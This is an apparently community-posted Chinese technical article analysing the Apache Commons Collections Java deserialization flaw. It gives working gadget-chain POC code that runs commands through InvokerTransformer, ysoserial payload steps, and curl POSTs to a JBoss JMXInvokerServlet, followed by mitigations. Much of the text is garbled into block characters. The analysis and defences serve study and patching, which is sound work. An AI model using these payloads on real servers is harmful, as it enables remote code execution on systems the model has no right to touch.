Java反序列化漏洞分析

ssooking / 2017-06-21 05:39:00 / 浏览数 14383 技术文章 技术文章 顶(0) 踩(0)

目录

- 1. ■■
- 2. ■■java■■■■■■■■
- 3.
- 4. POC
- 5.
- 6. ■■

背景

2015年11月6日FoxGlove Security安全团队的@breenmachine 发布了一篇长博客,阐述了利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大Java Web

Server纷纷躺枪,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。而在将近10个月前, Gabriel Lawrence 和Chris Frohoff 就已经在AppSecCali上的一个报告里提到了这个漏洞利用思路。

目前,针对这个"2015年最被低估"的漏洞,各大受影响的Java应用厂商陆续发布了修复后的版本,Apache Commons Collections项目也对存在漏洞的类库进行了一定的安全处理。但是网络上仍有大量网站受此漏洞影响。

认识Java序列化与反序列化

定义:

序列化就是把对象的状态信息转换为字节序列(即可以存储或传输的形式)过程 反序列化即逆过程,由字节流还原成对象

注:字节序是指多字节数据在计算机内存中存储或者网络传输时各字节的存储顺序。

用途:

- 1) 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;
- 2) 在网络上传送对象的字节序列。

应用场景:

1)

一般来说,服务器启动后,就不会再关闭了,但是如果逼不得已需要重启,而用户会话还在进行相应的操作,这时就需要使用序列化将session信息保存起来放在硬盘,服务

2) 在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便减轻内存压力或便于长期保存。

比如最常见的是Web服务器中的Session对象,当有

10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原至

例子:

淘宝每年都会有定时抢购的活动,很多用户会提前登录等待,长时间不进行操作,一致保存在内存中,而到达指定时刻,几十万用户并发访问,就可能会有几十万个session

Java中的API实现:

位置: Java.io.ObjectOutputStream java.io.ObjectInputStream

序列化: ObjectOutputStream类 --> writeObject()

Java**lli de la la la la la la la la la** .ser**la la**

反序列化: ObjectInputStream类 --> readObject()

注:该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

简单测试代码:

import java.io.*;

```
import java.io.ObjectOutputStream;
 import java.io.ObjectInputStream;
 import java.jo.FileOutputStream;
 import java.io.FileInputStream;
public class Java_Test{
public static void main(String args[]) throws Exception {
String obj = "ls ";
 // IIIIIIIIIIIIobject.txt
FileOutputStream fos = new FileOutputStream("aa.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
 // BBBobject.txt
FileInputStream fis = new FileInputStream("aa.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
 String obj2 = (String)ois.readObject();
System.out.println(obj2);
ois.close();
我们可以看到,先通过输入流创建一个文件,再调用ObjectOutputStream类的
实现Serializable和Externalizable接口的类的对象才能被序列化。
Externalizable接口继承自
Serializable接口,实现Externalizable接口的类完全由自身来控制序列化的行为,而仅实现Serializable接口的类可以采用默认的序列化方式。
对象序列化包括如下步骤:
1) 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;
2) 通过对象输出流的writeObject()方法写对象。
对象反序列化的步骤如下:
1) 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;
2) 通过对象输入流的readObject()方法读取对象。
代码实例
Person Published
Balla Balla Person Balla Ball
TENNESSreadObject
Person Decision Decis
测试代码如下:
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileNotFoundException;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.ObjectInputStream;
 import java.io.ObjectOutputStream;
 import java.text.MessageFormat;
import java.io.Serializable;
class Person implements Serializable {
   * EIID
private static final long serialVersionUID = -5809782578272943999L;
```

```
private int age;
private String name;
private String sex;
public int getAge() {
return age;
public String getName() {
return name;
public String getSex() {
return sex;
public void setAge(int age) {
this.age = age;
public void setName(String name) {
this.name = name;
public void setSex(String sex) {
this.sex = sex;
}
* ClassName: SerializeAndDeserialize
 * Description: ** * *p>Description: ** *p>De
public class SerializeDeserialize_readObject {
public static void main(String[] args) throws Exception {
SerializePerson();//■■■Person■■
Person p = DeserializePerson();//
System.out.println(MessageFormat.format("name={0},age={1},sex={2}",age={1}"), age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age={1}",age=
   p.getName(), p.getAge(), p.getSex()));
   * MethodName: SerializePerson
    * Description: ■■■Person■■
private static void SerializePerson() throws FileNotFoundException,
IOException {
Person person = new Person();
person.setName("ssooking");
person.setAge(20);
person.setSex("■");
 // ObjectOutputStream ########Person#####Person.txt######Person##################
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(
new File("Person.txt")));
oo.writeObject(person);
System.out.println("Person THE THE ");
oo.close();
    * MethodName: DeserializePerson
    * Description: ■■■Perons■■
private static Person DeserializePerson() throws Exception, IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("Person.txt")));
```

漏洞是怎么来的呢?

我们既然已经知道了序列化与反序列化的过程,那么如果反序列化的时候,这些即将被反序列化的数据是我们特殊构造的呢!

如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来们

漏洞分析

从Apache Commons Collections说起

http://commons.apache.org/proper/commons-collections/ Github: https://github.com/apache/commons-collections

由于对java序列化/反序列化的需求,开发过程中常使用一些公共库。

Apache Commons Collections

是一个扩展了Java标准库里的Collection结构的第三方基础库。它包含有很多jar工具包如下图所示,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。

org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架,也就是说这些扩展也属于collection的基本概念,只是功能不同罢了。Java中的

作为Apache开源项目的重要组件, Commons

Collections被广泛应用于各种Java应用的开发,而正是因为在大量web应用程序中这些类的实现以及方法的调用,导致了反序列化用漏洞的普遍性和严重性。

Apache Commons Collections中有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer。

JAVA

ERESENDE SERVICIONE java**s de la compa**

这里涉及到了很多概念,不要着急,接下来我们就来详细的分析一下。

POC构造

经过对前面序列与反序列化的了解,我们蠢蠢欲动。那么怎样利用这个漏洞呢?

一丁点儿思路:

OK? 我们现在遇到的关键问题是: 什么样对象符合条件?如何执行命令?怎样让它在被反序列化的时候执行命令?

首先,我们可以知道,要想在java中调用外部命令,可以使用这个函数

Runtime.getRuntime().exec(),然而,我们现在需要先找到一个对象,可以存储并在特定情况下执行我们的命令。

(1)Map类 --> TransformedMap

Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap

,该类可以在一个元素被添加/删除/或是被修改时(即key或value:集合中的数据存储形式即是一个索引对应一个值,就像身份证与人的关系那样),会调用transform方法自或者在数据改变时,进行一些我们提前设定好的操作。

至于会进行怎样的操作或变换,这是由我们提前设定的,这个叫做transform。等会我们就来了解一下transform。

我们可以通过TransformedMap.decorate()方法获得一个TransformedMap的实例

TransformedMap.decorate , The Map TransformedMap.decorate TransformedMap.decor

Map Map

Map value

(2)Transformer接口

Defines a functor interface implemented by classes that transform one object into another.

transform的源代码

我们可以看到该类接收一个对象,获取该对象的名称,然后调用了一个invoke反射方法。另外,多个Transformer还能串起来,形成ChainedTransformer。当触发时,Cha 下面是一些实现Transformer接口的类,箭头标注的是我们会用到的。

ConstantTransformer

InvokerTransformer

ChainedTransformer

ChainedTransformer Transformer Transformer Transformer

Apache Commons

Collections中已经实现了一些常见的Transformer,其中有一个可以通过Java的反射机制来调用任意函数,叫做InvokerTransformer,代码如下:

```
public class InvokerTransformer implements Transformer, Serializable {
```

Input

iMethodName,iParamTypes

iArgs

}

invokeTransformer

```
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be access
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an except
```

只需要传入方法名、参数类型和参数,即可调用任意函数。

在这里,我们可以看到,先用ConstantTransformer()获取了Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令""。依次调用关系为 Runtime --> getRuntime --> exec()

因此,我们要提前构造 ChainedTransformer链,它会按照我们设定的顺序依次调用Runtime,

getRuntime,exec函数,进而执行命令。正式开始时,我们先构造一个TransformeMap实例,然后想办法修改它其中的数据,使其自动调用tansform()方法进行特定的变换

```
再理一遍:
2)■■■■TransformedMap■■
3) MMapEntry setValue() MMTTransformedMap
知识补充
Map java Map Map . Entry Map
keySet()
entrySet()
SetKey(),getValue
我们可以实现这个思路
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class }, new Object[] {"calc.exe"})};
// MANAGEMENT AND A Chained Transformer Transformed Map
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new hashMap();
innerMap.put("1", "zhang");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// Map MapEntry SetValue()
Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
/* SetValue() SetValue() /* SetValue()
■■■■ConstantTransformer■■Runtime■
Example 1 getMethod invoke
Eller calc.exe
}
思考
目前的构造还需要依赖于Map中某一项去调用setValue() 怎样才能在调用readObject()方法时直接触发执行呢?
更近一步
我们知道,如果一个类的方法被重写,那么在调用这个函数时,会优先调用经过修改的方法。因此,如果某个可序列化的类重写了readObject()方法,并且在readObject()F
于是,我们开始寻寻觅觅,终于,我们找到了~
AnnotationInvocationHandler类
memberValues Map
AnnotationInvocationHandler readObject()
这个类完全符合我们的要求,那么,我们的思路就非常清晰了
1 ChainedTransformer
2■■■■TransformedMap■■
3 AnnotationInvocationHandler
4
```

```
我们回顾下所有用到的技术细节
(1) javanna na mana n
(2)JAVA
(3)
TransformedMap ■
                                           ■■■value■■■■■transform()■■■
Transformer:
AnnotationInvocationHandler■■memberValues■■■■■■setValue()■■
具体实现
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class POC Test{
public static void main(String[] args) throws Exception {
//execArgs:
//String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" };
//transformers: Mutransformer transformer
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
■■Method■■invoke(Object obj,Object args[])■■■■■
■■■■■■■new Class[] {Object.class, Object[].class }
POC
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
new InvokerTransformer(
"get.Met.hod".
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
) .
new InvokerTransformer(
"invoke".
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String[].class },
new Object[] { "whoami" }
//new Object[] { execArgs }
```

};

```
//transformedChain: ChainedTransformer
Transformer transformedChain = new ChainedTransformer(transformers);
//BeforeTransformerMap: Map
//Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
BeforeTransformerMap.put("hello", "hello");
//Map======Map
  Map
Map value
//TransformedMap.decorate( MMap, key MMAD MMAD MMAD Null MAD Null 
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
File f = new File("temp.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
}
■■TransformedMap■decorate■■■■Map■■■■key/value■transforme
  THEM: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.....)
  Runtime() Runtime.getRuntime().exec()
漏洞挖掘
1.
  1)HTTP
2)RMI
4)JMX
5)
2
(1)
TERMreadObject
1) The state of th
  2) Wireshark, tcpdump
(2)
 (3) ■■■■■■■payload
(4)■■■■■payload■■
```

相关工具

ysoserial是一个用我们刚才的思路生成序列化payload数据的工具。当中针对Apache Commons Collections
3的payload也是基于TransformedMap和InvokerTransformer来构造的,然而在触发时,并没有采用上文介绍的AnnotationInvocationHandler,而是使用了jav

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests

相关Tool链接

https://github.com/frohoff/ysoserial

https://github.com/CaledoniaProject/jenkins-cli-exploit

https://github.com/foxglovesec/JavaUnserializeExploits

vsoserial

■github■■■jar■■■https://github.com/frohoff/ysoserial/releases

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests

■■mvn**■■■■■■■**sudo apt-get install maven

实际漏洞环境测试

JBOSS

Enterprise JavaBean (EJB)

Enterprise Bean Enterprise JavaBean Enterprise JavaBean

实际测试版本

Jboss6.1

Download: http://jbossas.jboss.org/downloads/ Unzip: unzip jboss-as-7.1.1.Final.zip

vi /server/default/deploy/jbossweb.sar/server.xml

iptables -I INPUT -p tcp --dport 80 -j ACCEPT
sh jbosspath/bin/run.sh -b 0.0.0.0

sh jbosspath/bin/shutdown.sh -S

http://ip:8080

http://ip:8080/web-console

补充:CentOS默认开启了防火墙,所以80端口是不能正常访问的),输入命令:iptables -I INPUT -p tcp --dport 80 -j ACCEPT

这里以Jboss为例。Jboss利用的是HTTP协议,可以在任何端口上运行,默认安装在8080端口中。

Jboss与"JMXInvokerServlet"的通信过程中存在一个公开漏洞。JMX是一个java的管理协议,在Jboss中的JMXInvokerServlet可以使用HTTP协议与其进行通话。这一通信功果用户访问一个该url,实际上会返回一个原始的java对象,这种行为显然存在一个漏洞。但由于jmxinvokerservlet与主要的Web应用程序在同一个端口上运行,因此它很

因此,可以以jmx作为Jboss接受外部输入的点,可以利用java HTTP client包构建POST请求,post请求包中数据为使用ysoserial处理之后的构建代码

通常的测试可以使用的命令

```
■■■"readObject"■■
grep -nr "readObject" *
```

```
grep -R InvokerTransformer
payload
java -jar ysoserial-0.0.4-all.jar CommonsCollections1 '■■■■■■' > payload.out
■ payload
curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '
exploit■■
java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'echo 1 > /tmp/pwned' > payload
curl --header 'Content-Type: application/x-java-serialized-object; class="org".jboss.invocation.MarshalledValue' --data-binary
我们提交payload数据时,可以抓取数据包进行分析,看起来大概像这个样子(图片不是自己环境测试中的)
总结
CommonsCollections
Apache Commons Collections
■■■■org.apache.commons.collections.Transformer■■
INCOME Java Buller Buller Buller Buller Buller
AND THE STATE OF T
WELLOW STATE OF THE STATE OF T
启发
(2) POC
漏洞修补
Java
■■■■■apache commons collections■■■■■■■■■■■■■■Jenkins WebLogic Jboss WebSphere OpenNMS■
Jenkins Jenkins
5
commons-collections.jar
*.commons-collections.jar
apache.commons.collections.jar
*.commons-collections.*.jar
■■Apache Commons Collections■
Apache Commons Collections 3.2.2
NibbleSecurity ikkisoft github SerialKiller
lib : https://github.com/ikkisoft/SerialKiller
■■■■jar■■■■Classpath■■■■■■■ java.io.ObjectInputStream■■■SerialKiller
```

严格意义说起来, Java相对来说安全性问题比较少, 出现的一些问题大部分是利用反射, 最终用Runtime.exec(String cmd)函数来执行外部命令的。

Ellessjar**es**

如果可以禁止JVM执行外部命令,未知漏洞的危害性会大大降低,可以大大提高JVM的安全性。比如:

```
SecurityManager originalSecurityManager = System.getSecurityManager();
if (originalSecurityManager == null) {
// ■■■■■SecurityManager
SecurityManager sm = new SecurityManager() {
private void check(Permission perm) {
// ■■exec
if (perm instanceof java.io.FilePermission) {
String actions = perm.getActions();
if (actions != null && actions.contains("execute")) {
throw new SecurityException("execute denied!");
// ■■■■■■SecurityManager
if (perm instanceof java.lang.RuntimePermission) {
String name = perm.getName();
if (name != null && name.contains("setSecurityManager")) {
throw new SecurityException(
"System.setSecurityManager denied!");
public void checkPermission(Permission perm) {
check(perm);
public void checkPermission(Permission perm, Object context) {
check(perm);
};
System.setSecurityManager(sm);
如上所示,只要在Java代码里简单加一段程序,就可以禁止执行外部程序了。
禁止JVM执行外部命令,是一个简单有效的提高JVM安全性的办法。可以考虑在代码安全扫描时,加强对Runtime.exec相关代码的检测。
针对其他的Web Application的修复
Weblogic
■■■■Oracle WebLogic Server, 10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0 ■■■
1 SerialKiller SEESSESSESS ObjectInputStream
2
"org/apache/commons/collections/functors/InvokerTransformer.class" ■■■
** http://www.oracle.com/technetwork/topics/security/alert-cve-2015-4852-2763333.html
Weblogic
Thoss
1 📕 commons-collections jar 📕 InvokerTransformer, InstantiateFactory, 🗖 InstantiateTransfromer class
https://issues.apache.org/jira/browse/COLLECTIONS-580
https://access.redhat.com/solutions/2045023
jenkins
1 ■■ SerialKiller ■■■■■■■■■■ ObjectInputStream ■■
https://jenkins-ci.org/content/mitigating-unauthenticated-remote-code-execution-0-day-jenkins-cli
```

https://github.com/jenkinsci-cert/SECURITY-218

Version8.0 ■Version7.0 ■Version8.5 and 8.5.5 Full Profile and Liberty Profile

- 1 SerialKiller ObjectInputStream ObjectInputStream
- 2 $\verb| and a and a$

■■■com.bea.core.apache.commons.collections_3.2.0.jar

Oracle/Middleware/modules

A)mkdir tt

- B)cp -r Oracle/Middleware/modules/com.bea.core.apache.commons.collections_3.2.0.jar ./tt
- C)jar xf Oracle/Middleware/modules/com.bea.core.apache.commons.collections_3.2.0.jar
- D)cd org/apache/commons/collections/functors
- E)rm -rf InvokerTransformer.class
- F)jar cf com.bea.core.apache.commons.collections_3.2.0.jar org/* META-INF/*
- G)mv com.bea.core.apache.commons.collections_3.2.0.jar Oracle/Middleware/modules/
- н)

SETTING server-name cache tmp

■■rm -rf ~/user_projects/domains/base_domain/servers/AdminServer/cache rm -rf ~/user_projects/domains/base_domain/servers/AdminServer/tmp

相关CVE

CVE-2015-7501

CVE-2015-4852(Weblogic)

CVE-2015-7450(Websphere)

相关学习资料

http://www.freebuf.com/vuls/90840.html

https://security.tencent.com/index.php/blog/msg/97

http://www.tuicool.com/articles/ZvMbIne

http://www.freebuf.com/vuls/86566.html

http://sec.chinabyte.com/435/13618435.shtml

http://www.myhack58.com/Article/html/3/62/2015/69493_2.htm

 $\verb|http://blog.nsfocus.net/java-deserialization-vulnerability-comments/|$

http://www.ijiandao.com/safe/cto/18152.html

http://www.cnblogs.com/dongchi/p/4796188.html

 $\verb|https://blog.chaitin.com/2015-11-11_java_unserialize_rce/?from=timeline&isappinstalled=0\#h4_\blacksquare\blacksquare\blacksquare\blacksquare\blacksquare\blacksquare\blacksquare\blacksquare=1+https://blog.chaitin.com/2015-11-11_java_unserialize_rce/?from=timeline&isappinstalled=0\#h4_\blacksquare\blacksquare\blacksquare\blacksquare\blacksquare=1+https://blog.chaitin.com/2015-11-11_java_unserialize_rce/?from=timeline&isappinstalled=0\#h4_\blacksquare\blacksquare\blacksquare\blacksquare=1+https://blog.chaitin.com/2015-11-11_java_unserialize_rce/?from=timeline&isappinstalled=0\#h4_\blacksquare\blacksquare\blacksquare=1+https://blog.chaitin.com/2015-11-11_java_unserialize_rce/?from=timeline&isappinstalled=0\#h4_\blacksquare\blacksquare=1+https://blog.chaitin.com/2015-11-11_java_unserialize_rce/?from=timeline&isappinstalled=0\#h4_unserialize_rce/?from=tim$

点击收藏 | 2 关注 | 1

上一篇:白帽子讲浏览器安全.pdf 下一篇:超简单"破解"Sublime Text

1. 3 条回复



helloworld 2017-06-21 07:15:04



三思之旅 2017-06-22 03:13:00

感谢分享,学习一下~

0 回复Ta



<u>cover</u> 2018-01-22 21:02:04

这篇总结很不错,比腾讯写的那篇还要好。

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

<u>社区小黑板</u>

目录

RSS <u>关于社区</u> <u>友情链接</u> <u>社区小黑板</u>